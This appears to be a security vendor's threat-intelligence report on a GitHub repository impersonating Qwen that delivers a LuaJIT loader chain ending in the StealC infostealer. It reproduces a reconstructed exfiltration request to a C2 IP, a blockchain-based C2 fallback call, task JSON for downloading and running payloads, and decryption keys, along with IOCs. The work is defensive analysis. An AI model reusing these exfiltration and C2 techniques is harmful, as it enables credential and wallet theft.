Threat Intelligence | The StealC Info-Stealing Chain Behind the Qwen Impersonation Repository
Background
When downloading an open-source large model, you usually worry about whether it can run properly and whether the weights are authentic. This time, what you should really be worried about is hidden elsewhere: a repository labeled as containing a 27B-parameter model hands you only 487 KB — the package contains no model weights, but an information-stealing Trojan.
On August 20, 2026, the GitHub repository unburdened-jackinthebox365/qwen38-uncensored committed a file named uncensored_qwen_v2.6.zip to the assets/ directory, totaling 487,153 bytes. The repository packaged it almost flawlessly: the homepage claimed to provide local quantized weights for Qwen 3.8 27B, while the README emphasized fully offline operation, no telemetry, and that data would not leave the local machine—every point directly appealed to local model users. Four days later, on August 24, the README was modified again—the download button, the download link in the body, and the two external links originally pointing to the official Ollama and LM Studio websites were all redirected to the raw address of the same ZIP file.
At this point, the flaw was already obvious. A 27B-parameter Q4_K_M quantized model would typically occupy more than 16 GB on disk, and the prompt printed by the repository’s own bin/install.cjs also stated approximately 16.8 GB. Yet the actual asset delivered was only 487 KB. After extraction, it contained only three files—Application.cmd, util.exe, and cert.txt—with no GGUF weights whatsoever.
Based on this, we determined that this was an impersonation repository distributing files under the Qwen name; the official Qwen project itself was not compromised. The Node.js installation script in the repository appeared to implement a process of “writing a Modelfile → calling ollama create" on the surface, but no dynamic verification was performed in this case. The repository's main code maintained the appearance of a normal project, while the malicious ZIP was submitted as a downloadable asset under assets/. Checking only the conventional source code without unpacking the downloaded assets could miss this entry point.
This article is based primarily on static evidence, and no samples were executed. C2 requests were reproduced using simulated host data, only reading the responses and downloading the payloads; the downloaded contents were not executed, nor was the final upload endpoint accessed. The behavioral descriptions in this article indicate that the corresponding implementation or call path exists in the code and do not mean that these operations actually occurred on a real host.
MistEye Response
MistEye is a Web3 threat intelligence and dynamic security monitoring system independently developed by SlowMist. It integrates security monitoring and intelligence aggregation capabilities to provide users with real-time risk alerts and asset protection.
In this incident, MistEye completed static analysis of the decoy repository, downloaded assets, and subsequent payloads. It reproduced C2 requests using simulated host information and preserved response and download evidence, reconstructing the multi-stage delivery chain and extracting network and file IOCs. On August 26, we rechecked the availability of the C2 and the rotation of its distribution infrastructure. In addition, 29 similar ZIP files distributed across 23 repositories were compared offline for behavioral analysis. The relevant IOCs have been integrated into the MistEye threat detection engine.
The following is a detailed technical analysis.
The Three Files Inside the 487 KB Download Package
The entire content of Application.cmd is a single command:
start util.exe cert.txt
Including the line break, it is only 25 bytes. It does not unpack the model or call Ollama. Instead, it simply instructs util.exe in the same directory to read a text file, transferring control to the Lua script contained in cert.txt. There are no other files in the archive; these three files make up the entire contents.
util.exe is 759,808 bytes in size and is a renamed LuaJIT 2.1 interpreter. LuaJIT itself is a Lua runtime widely used by legitimate software. The PDB path remaining in the PE file is D:\a\defold\...\luajit.pdb, pointing to a packaged artifact from the Defold game engine. Static analysis found no malicious behavior in util.exe that operates independently of a script; the file is only responsible for executing the obfuscated Lua in the same directory.
The name cert.txt makes it look like a certificate, but its contents are a 182,116-byte single-line Lua script. The entire script contains no line breaks. All strings are split into decimal escapes and table lookups, so reading it directly reveals nothing but a mass of numbers and short variable names. Below is a small excerpt from the beginning of the file, with statements broken into separate lines for readability and truncated with an ellipsis at the end:
local xI=function(k)local B=""for G=1,#k/2,1do B=B..k[#k/2+k[G]]endreturn B end
local ZI=function(k)local B,G=k[#k],""for Q=1,#B,1do G=G..B[k[Q]]endreturn G end
local AI={"\116\083\112\088";xI({5,4,3;1,2;"\083\120\080","\081\049\051\061";…The first two functions are responsible for retrieving characters by index and rearranging their order, while the third line onward contains the scattered string table. The hundreds of plaintext strings in the script are all stored in this form and are only reconstructed into their original form at runtime.
The risk entry point therefore does not lie in the so-called model program. The archive provides a general-purpose interpreter together with a text file, with all malicious logic contained in cert.txt.
C2 Response Completes the Subsequent Delivery Chain
After offline deobfuscation, the structure of cert.txt became clear. It maintains a string table containing several hundred entries, with all plaintext strings split into numeric escapes and reconstructed byte by byte at runtime. The script uses LuaJIT FFI to parse and call Windows APIs such as VirtualAlloc and CreateThread.
The loader is identified as 845. Upon startup, it collects the hostname, username, GUID, and system version, uses BitBlt to capture a screenshot and save it as a BMP, then makes a request to an IP geolocation service to obtain geographic information. It combines these contents into a multipart request and POSTs them to the hardcoded IP address 217[.]119[.]129[.]122. Below is the actual request we sent after reconstructing it from the script:
POST/api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y=HTTP/1.1
Host: 217.119.129.122
Content-Type: multipart/form-data; boundary=udjkihisg03g5wm5u4zz8fo389w6yfhoizhnv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Content-Length: 1704
--udjkihisg03g5wm5u4zz8fo389w6yfhoizhnv
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="fu9aipbutwexccwbsduf48460ua6c4baq9cc3ejn0hiqekfthy0iokzexox8lnnj290r14hmea"
BM6…
--udjkihisg03g5wm5u4zz8fo389w6yfhoizhnv
Content-Type: application/json
Content-Disposition: form-data; name="data"
{"data": "MjkyYzA0NTIzMzM1MDUzNjc3NGQ1OTA3NTczZTAxMDU1MzA0Nzc1ZDdh…"}
--udjkihisg03g5wm5u4zz8fo389w6yfhoizhnv--The string following /api/ in the path decodes to the client ID 517b7c5e5663656a057f. The screenshot is placed in the file part, with the BM prefix indicating the BMP file header; the host information is placed in the data part. Both are included in the same request. After decoding, data contains simulated values such as computer=SIMULATED-PC&user=simulated-user&query=203.0.113.10, which do not correspond to any real host.
Tasks delivered by the server are processed according to file extension, covering four types: payloads executed directly in memory, standalone executables, DLLs, and scripts. A single loader can therefore handle nearly all common payload formats. The script also contains functionality for Defender exclusions, scheduled-task persistence, and task-completion callbacks. All three are located in conditional branches, with whether they are triggered depending on the loader configuration from the server and local conditions. The configuration obtained in this case enabled only persistence, while the others were disabled. These are conditionally triggered functions and do not indicate that the corresponding operations were actually completed on a real host.
When the hardcoded address becomes unavailable, the loader has a fallback path. It sends an eth_call request to the Polygon chain, reads the return value of selector 0x3bc5de30 from contract 0x1823A9a0Ec8e0C25dD957D0841e3D41a4474bAdc, and parses an alternative C2 address from it. In our test, this resolved to 194[.]48[.]248[.]94:
Request (statically reconstructed from the script)
{"jsonrpc":"2.0","method":"eth_call","id":1,
"params":[{"to":"0x1823A9a0Ec8e0C25dD957D0841e3D41a4474bAdc",
"data":"0x3bc5de30"},"latest"]}
Response (tested via polygon.drpc.org, HTTP 200)
"result":"0x
0000…000020 ← Data offset, pointing to the third line
0000…000014 ← String length 0x14 = 20 bytes
687474703a2f2f3139342e34382e3234382e3934 ← ASCII: http://194.48.248.94
+ 24 hexadecimal zeros, padded to 32 bytes"The length prefix 0x14 is 20, which exactly matches the number of characters in the decoded address, providing mutual confirmation between the two. This hex string does not require our decoding script; it can be independently verified simply by consulting an ASCII table. Among the five RPC endpoints configured in the script, three returned the data above with byte-for-byte consistency, one required a paid subscription, and one directly refused the request. Once the address is written to the public-chain contract, changing the server only requires a single transaction; simply blocking the current fallback IP cannot prevent the contract from returning a new address later.
After correcting the request format according to the script, the simulated beacon from 845 received an HTTP 200 response with 1,248 bytes of JSON.
The response fields undergo three layers of encoding, with the decoding sequence being Base64 → lowercase hex → 32-byte repeating XOR. The XOR key ECe6VGLRJum2qYtl79OiOU7aHot7Zhbn is written directly in the script. The following two sections show the same response before and after decoding, with the first 56 characters of each excerpted:
{"loader":"M2U2MTA3NGYyNjI2M2YyMTE1MTEwODU0MTQzNzEwMDk0NTFiNzU0OTdm…",
"tasks":"MWUzODQ3NWYzMjY1NzY3MjcyNDE1ZDFlNTE3YjE4MDU1OTUyNmQ1MzZm…"The decoded content is a loader policy and a task:
[{ "id":840,
"link":"https://github.com/Minaadelfouad64/tools/raw/refs/heads/main/verbose/tool.log",
"file_path":"Temp", "file_name":"dist.lua", "start":1,
"autorun":0, "relaunch":0, "hide":0,
"pump":{"size":-1,"status":false},
"dll_loader":{"func":null,"type":"LoadLibrary"} }]The pump field controls whether random data is used to expand the dropped file to the size specified by the server. This switch was disabled in the current task.
The task downloads a file named tool.log to %TEMP%\dist.lua and executes it. The file is 396,616 bytes in size and consists entirely of ASCII hexadecimal characters; after hex decoding followed by XOR, it yields 198,308 bytes of obfuscated Lua. This is the second loader, identified as 847, with its initial C2 changed to 217[.]119[.]129[.]97. Its obfuscation layout is structurally identical to that of 845. After executing the 847 loader with the same simulated host data, it sent a beacon to 217[.]119[.]129[.]97, and the server returned two tasks.
Of the two tasks, one was still tool.log, while the other pointed to verb.log in the same repository, with the drop path set to AppData\..\Local\Programs\Chromium\Application\Chromium.exe. The ..\ in the middle traverses the path back into LocalAppData, with the final filename masquerading as the main executable of the Chromium browser.
tool.log, verb.log, and the two subsequent PE files all originated from C2 responses and were downloaded to disk; none of them were present in the original ZIP. The ZIP itself demonstrates that the loader has the capability to download and execute files; the preserved C2 responses show that, at the time of collection, the server had issued subsequent download tasks to loader ID 845.
StealC Payload Extracted from verb.log
Unpacking and Loading
verb.log is 3,089,408 bytes, also in ASCII hex. The transformation chain is hex/XOR → outer PE → Base64URL/AES → inner PE. Using the same XOR key to decode it yields a 1,544,704-byte 64-bit outer PE. The Base64URL text in its resource section decodes to 797,728 bytes of AES-256-ECB ciphertext. The key bFYh8UMQGZOBUlvrpS3M4ZJybbubVbvg is derived by the outer PE from two constant arrays and can be statically recovered. Decryption yields another 797,728-byte 64-bit PE.
The outer PE manually maps the inner PE within its own process: allocating memory, copying the headers and sections, fixing relocations and the import table, creating a thread, and starting it at the entry point. The static call chain contains no cross-process injection APIs such as CreateProcess, WriteProcessMemory, SetThreadContext, or ResumeThread—the entire process is reflective loading within the same process.
Environment Checks
The inner payload first checks the environment: if the system default language is Russian, Ukrainian, Belarusian, Kazakh, or Uzbek, it exits. It then uses host information to construct a named Event for single-instance control, followed by a check of the embedded expiration date. Only after all checks pass does it proceed to its main logic.
Collection Targets
- Browsers: Chrome, Edge, and Brave collect login data, cookies, browsing history, and related databases; Firefox uses NSS APIs to decrypt saved login information. When databases are locked, Restart Manager is used to terminate the processes holding them.
- Email and operations: Foxmail and Outlook account credentials, as well as WinSCP session information. WinSCP sessions directly correspond to servers accessible to the victim.
- Steam: Login configuration, tokens, and sentinel files.
Starting with Chrome 127, cookies and saved passwords are protected by App-Bound Encryption, with the key managed by a system-level service. Simply copying the database files cannot retrieve the plaintext. To address this, the payload includes an auxiliary PE that uses Early-bird APC injection to inject into a suspended chrome.exe, brave.exe, or msedge.exe; the auxiliary module reads the encrypted App-Bound Key from within the browser process and uses the corresponding browser's COM Elevation service interface to export the 32-byte plaintext key, allowing the previously collected database files to be read again.
Wallet collection is entirely controlled by the server: a recursive collector dispatches file tasks issued by the C2 according to type. The wallets branch searches local directories based on the task name and filename; the C2 can also issue extension IDs to collect storage and IndexedDB data from the corresponding Chromium extensions. The plaintext sample contains no wallet brand names or installation paths, nor does it contain mnemonic or private-key parsing implementations such as BIP39 or secp256k1. Which wallets are collected is determined by tasks issued by the server, so the static sample cannot provide a target list for this round.
Exfiltration and Attribution
The payload also contains functionality for screenshots, collecting system information and process lists, secondary download and execution via PowerShell, privilege escalation, and self-deletion upon exit.
Data is uploaded through JSON POST requests in 512 KiB chunks. The upload endpoint is stored in the file encrypted with RC4 and then Base64-encoded. Decrypting it with the configuration key 55uUe45tr1x1xy1lSK yields http[:]//89[.]169[.]12[.]194; the request body is encrypted with another RC4 key.
StealC is a Windows information-stealing Trojan specifically designed to steal browser credentials, cookies, cryptocurrency wallets, and other sensitive data and send them to an attacker-controlled C2. The collection scope, App-Bound decryption helper, wallet branch, and RC4-encrypted exfiltration implemented by the inner payload are all consistent with known characteristics of StealC. Based on these characteristics, we attribute it to StealC.
If these materials are successfully obtained, the consequences vary: browser cookies can enable takeover of logged-in sessions; email and Steam credentials can lead to account losses; WinSCP sessions can provide access to servers operated by the victim; and once wallet private keys or seed phrases are exposed, asset transfers cannot be reversed.
Recheck Confirms Distribution Infrastructure Is Rotating
On August 26, we resent the three beacon requests using the same simulated host data. All three endpoints returned HTTP 200, and the loader policy fields remained completely unchanged. The change appeared in the download URLs specified in the tasks.
vs.log is byte-for-byte identical to the old tool.log; only the filename has been changed, and the 847 loader remains unchanged. After decoding, ssl.log is a new version of the outer PE, 1,539,072 bytes in size, with both the entry point and image size changed. The AES key was rotated accordingly to yK8-eM8KFA8Hl8cCybERmOLZupFvfCNZ.
The inner payload decrypted with the new key is still 797,728 bytes. Compared byte-for-byte with the old version, the entire file contains only one difference, located in the read-only data section: the build number reported to the server was changed from build5 to build1. The upload endpoint, RC4 configuration key, and request-body key all remain unchanged.
Changing repositories and filenames, updating the outer PE, and rotating the AES key invalidate the exact hashes of the old files. Whether the stable structural and behavioral characteristics can still be matched depends on validation against specific rules. The information-stealing payload itself remained stable over these two days, with only a version label changed. This is an observation between two collection dates and is insufficient to determine whether it remained unchanged over a longer period.
More Malicious GitHub Repositories
We additionally collected 29 malicious ZIP samples distributed across 23 GitHub repositories. Preliminary inspection showed that all of these samples use Lua as part of their execution chain. Common forms include .cmd or .bat launchers invoking local LuaJIT or renamed interpreters, which then execute Lua scripts in the same directory. The lure themes of these repositories span multiple categories, including AI models and tools, MCP services, development scripts, and wallet projects.
It should be noted that we have not yet performed a complete code reconstruction and attack-chain analysis of each of the 29 samples. Therefore, the current evidence can only confirm that all of them exhibit malicious behavior and commonly use the Lua technology stack. It cannot be concluded that all samples employ exactly the same obfuscation methods, execution flows, C2 infrastructure, or final payloads.
Conclusion
A GitHub repository impersonating Qwen directed its download entry to a 487 KB ZIP. The package contained no model weights, only a LuaJIT interpreter and an obfuscated script. The preserved C2 responses were linked to an inner information-stealing payload, which we attributed to StealC.
The risks involve browser sessions, email and operational credentials, Steam tokens, and wallet-related materials, provided that the corresponding materials are successfully obtained. Between the two collection dates, the distribution repository, filename, outer PE, and AES key had all changed, while the inner payload differed by only one character in its build number. The 29 similar ZIPs distributed across 23 repositories show that this delivery framework has already been reused at scale, while the complete subsequent chain of each variant still needs to be confirmed individually.
Recommendations
1. Isolate and collect evidence: If a host matches the ZIP, script hash, C2, or download URL listed in this article, first preserve the download source, process tree, network connection logs, and dropped files before performing cleanup.
2. Check for host modifications: If launcher execution records are found, or if there are records of LuaJIT or a renamed interpreter loading large obfuscated text files, check scheduled tasks, Run keys, and StartupApproved entries, and verify whether the Defender exclusion list has been modified to include the system drive or .exe and .dll extensions.
3. Remediate credentials: If sample execution is confirmed or related dropped payloads are found, reset browser sessions and saved passwords, email accounts, Steam tokens, and WinSCP session credentials. If wallet private keys or seed phrases were stored on the host, first transfer the assets to new addresses before handling the host itself.
4. Add combination-based detection: Add the sequence of “small launcher → local LuaJIT or renamed interpreter → large single-line text file in the same directory → HTTP request or writing to executable memory” to monitoring rules. This chain leverages legitimate services, so detection should be based on the combination of behaviors and supplemented with the precise malicious URLs listed in this article, rather than indiscriminately blocking GitHub Raw or public Polygon RPC endpoints.
IOC
IP
217[.]119[.]129[.]122
194[.]48[.]248[.]94
217[.]119[.]129[.]97
89[.]169[.]12[.]194
URL
http[:]//217[.]119[.]129[.]122/api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y=
http[:]//217[.]119[.]129[.]97/api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y=
Get SlowMist’s stories in your inbox
Join Medium for free to get updates from this writer.
https[:]//raw[.]githubusercontent[.]com/unburdened-jackinthebox365/qwen38-uncensored/main/assets/uncensored_qwen_v2[.]6[.]zip
https[:]//github[.]com/Minaadelfouad64/tools/raw/refs/heads/main/verbose/tool[.]log
https[:]//github[.]com/Minaadelfouad64/tools/raw/refs/heads/main/verbose/verb[.]log
https[:]//github[.]com/fuhuhlatoogan/mtp/raw/refs/heads/main/p/vs[.]log
https[:]//github[.]com/fuhuhlatoogan/mtp/raw/refs/heads/main/p/ssl[.]log
Malicious Dependencies
https[:]//github[.]com/unburdened-jackinthebox365/qwen38-uncensored
https[:]//github[.]com/Minaadelfouad64/tools
https[:]//github[.]com/fuhuhlatoogan/mtp
https[:]//github[.]com/0ogata0/qwen-php-client
https[:]//github[.]com/115th-discomfited211/Awesome-Harness-Engineering
https[:]//github[.]com/123affano1/claudetrack
https[:]//github[.]com/1sustgmboab/nexonco-mcp
https[:]//github[.]com/2josEx/claude-brain
https[:]//github[.]com/428alexander9/claude-skills-marketplace
https[:]//github[.]com/45d5r/databricks-mcp-server
https[:]//github[.]com/7ossamfarid/mcp-mindmesh
https[:]//github[.]com/Bean5789/bbd2api
https[:]//github[.]com/CleverPortal/CollabNote-Fullstack-App
https[:]//github[.]com/Juanvil9941/AI-Invoice-System
https[:]//github[.]com/Kalainilavann/takeout_downloader_script
https[:]//github[.]com/Prestonflatfooted659/Void-Tools-v2.0
https[:]//github[.]com/Walloperlioncub193/Canva-Resource
https[:]//github[.]com/archontelemetered604/clash-for-windows
https[:]//github[.]com/fantastic-interpolation620/ctx-wire
https[:]//github[.]com/mikenob39wang/phone-number-location-tracking-tool
https[:]//github[.]com/recognisable-riddance165/Portable-Offline-LLM
https[:]//github[.]com/sociologisttentcaterpillarmoth213/100xdev-ci-cd
https[:]//github[.]com/soldat-panther/qq-farm-cdp-auto
https[:]//github[.]com/thaddeusprobabilistic193/Xault-Wallet
https[:]//github[.]com/twelfth-puerperium297/tokenoptim
https[:]//github[.]com/wasila7220/multi-model-router
Malicious Files
Filename: uncensored_qwen_v2.6.zip
MD5: bf21a07ad5743d3ae9f55ff526428a0a
SHA1: 8e3391c17c3f4fb6f42594de7425df96dbbbc01e
SHA256: 36d0bac5743ed9c6858258f28f2c2f9161dc06c4d5af73eb7eda1211ea610758
Filename: Application.cmd
MD5: 17d94f34b9d15449b03bc099a637782b
SHA1: eb474f898256e8e7baaf0d63b306d1169e637c73
SHA256: 7c4f3e09c6428d0a0d7d85615695f5fedb35bb4e7180d31e1f8a1bacf22e5639
Filename: cert.txt
MD5: ccfc0f145861f23c6850c691c4be54b9
SHA1: b88ac887493f31cf9f160ddbc6bc3a2aa298a0ca
SHA256: a75561a3224d9f836058a6d0204ed2e6c1f638275a59495935cd2a5e46fd28ca
Filename: tool.log, vs.log
MD5: 8063ba8ec896b52e5e6d435cc60e82f7
SHA1: f445bd4c5b65b7e013ec518f34f4cd64676201d2
SHA256: 7ebbb61733d8aefcf9401f00e8ff7e593c9f0edecb6609675aebd3eb78a5ae2d
Filename: verb.log
MD5: 650a8ee5d091275040ae4dd02dcdd806
SHA1: 343d819ceb63c742912723c42fd158b82d0a90be
SHA256: 699af883d862d8949a494f69e2d300142ce506a0ac6c7a239193c111dfed241e
Filename: inner-payload.aes256-ecb-decrypted.bin
MD5: 01e433263a7fd50e812195ff4c11cc90
SHA1: ea53a41c53181374cade8d69882bb1390f0c2562
SHA256: ec981c45d494896037583c746543490176c9ce9a1482e62c4e8ab189c2650b1c
Filename: ssl.log
MD5: 9d11bce9c213924b53bcb986f07945c6
SHA1: 2abf1436933dc6b63a016661d5d16f1eda303b59
SHA256: 7b0d919bd510cbcc587cca4b74aad1e086fb1fc34882a39946e6db7d4361a746
Filename: inner-payload.build1.bin
MD5: 370f95bf40a9c9fe852b2e4bdd95689f
SHA1: 219a0e7c3907bb65ef7db7428400745570d4e105
SHA256: 5d63f3dc9371d4496ca0e728a794151978e94b69ae4b3c705cea4e67cc6cf208
Filename: client_qwen_php_v2.4.zip
SHA256: 073c6192ab4c2d5d25fc13acab4c216c96f9d5926064c534e3803bb31d527b28
Filename: Engineering_Harness_Awesome_1.9.zip
SHA256: 0870fe8a4d9e64e335047e16ed1d6b0805beab9686495a1e8c247cf2e1a8e930
Filename: Software_v1.6.zip
SHA256: 71b37b48f80106fc864be7e82481cd1a2f7decfeaf1dce45abb924d7f32da933
Filename: nexonco-mcp-v3.0-alpha.1.zip
SHA256: a866d90d6f1dd82ddcd2cbef4f5550c77bb58dbda87c02eedb441a117b7d89b9
Filename: claude-brain-v1.4-alpha.3.zip
SHA256: a271231ebf6174b11aeb3337c238abc0eac44b48b5fa8d2b168883601d8cc3a5
Filename: brain_claude_2.2-alpha.1.zip
SHA256: ca4babb4444af81cf93b34436de7a4a3c8e1a93f6233bcc8753ddd868b4c9eaa
Filename: claude-skills-marketplace_v3.4.zip
SHA256: 438033226b1bd1e26db8ab71a777e74cc90b5c31310139269fe8e52308f6c938
Filename: skills-marketplace-claude-2.9.zip
SHA256: f07a4eadd43513f56ae4fdf6f6dfc966de17f06093c75c1dec0dd426668779f9
Filename: server_databricks_mcp_1.6.zip
SHA256: 66afc7d87d10dbe392898c4e5c613e0442fabb396415c2bef3a5ef2ac752c5ad
Filename: mindmesh_mcp_1.0-alpha.5.zip
SHA256: e8da8c82ccb1c6fd68e7c03187485d6ebbd07a4946a7f07cac54fef65b00d2bf
Filename: bbd-api-3.1.zip
SHA256: 3524dc4a232c76067f8b2df9adf34ae1106dcc1528e5467c1abc285fc51d1e82
Filename: Note-Collab-App-Fullstack-v3.6-alpha.5.zip
SHA256: 6f823d15658b07d6d90f292848fcdd30fe840f83d653cc34966e2fd61d9c3117
Filename: Invoice_A_System_3.9.zip
SHA256: 8332d91619563e46e248f427cf489f8bd61a83124eb4c95749ce284b443a2803
Filename: downloader-script-takeout-v1.1.zip
SHA256: 8412f2d2b47181f272b0c0e02fe619331e0c2c8d3b90f32e8ce08ac98aaec3f6
Filename: downloader_takeout_script_v3.8.zip
SHA256: b781102c6ff857fb45089a6b3d30c5ebb7699ec7e8771bfa0039bef28de782bd
Filename: takeout-downloader-script-galvanocauterization.zip
SHA256: 13dc7623c66d1fed51ae94b0d96e8ed45c93d893afabf9aceb4ef0a8da0243ee
Filename: Void-v-Tools-v1.7.zip
SHA256: 841d0c25137f35b60d940705ab7b5dc3e9936f37e0561934e72c5dafe93466d8
Filename: Resource-Canva-2.2.zip
SHA256: ac6a24d02209df94f56f67e7f3f19dc997f7a2625b91add1dd10cdec0a06d392
Filename: for-clash-windows-3.2.zip
SHA256: 036062622f3a1fa2718afc91f8fe4edc693b757365dfc2c0958b70fe8c84c20d
Filename: wire-ctx-2.6-alpha.1.zip
SHA256: db0640eb414a89bb62953f0aa7603557f3b8de515e7c3696156abc10f835ecef
Filename: location-tracking-tool-phone-number-v3.3.zip
SHA256: 3fc5816afde3e58bf9fcaa1b3873f2d4bc8629ee7a8341a4a4979d2729cad5e6
Filename: location_number_tracking_tool_phone_v2.5.zip
SHA256: 398ea394f9a4242ebe9fd67a5ca62445fc4a34b1731d4f99b8eea5e65a98ddcb
Filename: tracking-tool-location-number-phone-3.2.zip
SHA256: b6e81d95c0c336e8b8bde3889f4df4ee17639f6ff055c631de19cab3c7efb63b
Filename: Offline_LLM_Portable_v2.1-alpha.1.zip
SHA256: 1313b6cfb1ea43367fdd845f64526b4972a3a345bb8b13cef7ebb678d59b5f55
Filename: ci_cd_xdev_v2.3-alpha.3.zip
SHA256: ed1ae6799ecb1fc7c5239c4ab95b3b9de9462f21219f144a25b91b6fd430a2c2
Filename: farm-cdp-qq-auto-1.1.zip
SHA256: 6145aeacba6533e10dcea287d0fff64c48a790c58ae266ed18ea5d13c36d27ca
Filename: v3.9.zip
SHA256: a0dd4924bec9bc077b1f98ddcb45b4e07b01e63ad703c2507d822b5b5130a077
Filename: Software-Lithodes.zip
SHA256: 40c2b7b8dcfa6bfe0a199af9ea4baa00a4b8ecd73afa326702cdc4197d64bdef
Filename: model-multi-router-v3.5-beta.1.zip
SHA256: 152929ae778e6ed9f358ca8590d2155e1a04137b109a5442891e1ba3fe1a7f82
About MistEye
MistEye is a Web3 threat intelligence and dynamic security monitoring platform independently developed by SlowMist. Through its API, it provides malicious activity detection and supply chain risk alerts for the open-source package ecosystem.
All malicious packages and IOCs involved in this operation have been integrated into the MistEye threat detection engine. Developers can use the API to automatically scan project dependencies, quickly determine whether they match known malicious packages, and obtain remediation recommendations.
📖 API Documentation: https://app.misteye.io/api-docs
🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan
A lightweight CLI tool that scans project dependencies and globally installed packages for known malicious packages with a single command. It supports the npm / PyPI / Cargo / Go / RubyGems ecosystems.
🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skills
A security skill package for AI coding assistants that automatically triggers MistEye security checks before installing dependencies or accessing URLs.
🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard
A DNS security protection tool that detects malicious domains and risky access, identifying network threats such as phishing and C2.
This article was written by the SlowMist Threat Intelligence Team based on the MistEye threat intelligence system and SlowMist Agent AI-powered analysis. If you have any questions, please feel free to contact us.
References
[1] https://x.com/OpcodeIntel/status/2091578565628502324
[2] https://www.microsoft.com/en-us/security/blog/2026/06/24/stealc-and-amadey-breaking-down-infostealers-and-the-cybercrime-services-that-deliver-them/
[3] https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
About SlowMist
SlowMist is a threat intelligence firm focused on blockchain security, established in January 2018. The firm was started by a team with over ten years of network security experience to become a global force. Our goal is to make the blockchain ecosystem as secure as possible for everyone. We are now a renowned international blockchain security firm that has worked on various well-known projects such as HashKey Exchange, OSL, MEEX, BGE, BTCBOX, Bitget, BHEX.SG, OKX, Binance, HTX, Amber Group, Crypto.com, etc.
SlowMist offers a variety of services that include but are not limited to security audits, threat information, defense deployment, security consultants, and other security-related services. We also offer AML (Anti-money laundering) software, MistEye (Security Monitoring), SlowMist Hacked (Crypto hack archives), FireWall.x (Smart contract firewall) and other SaaS products. We have partnerships with domestic and international firms such as Akamai, BitDefender, RC², TianJi Partners, IPIP, etc. Our extensive work in cryptocurrency crime investigations has been cited by international organizations and government bodies, including the United Nations Security Council and the United Nations Office on Drugs and Crime.
By delivering a comprehensive security solution customized to individual projects, we can identify risks and prevent them from occurring. Our team was able to find and publish several high-risk blockchain security flaws. By doing so, we could spread awareness and raise the security standards in the blockchain ecosystem.
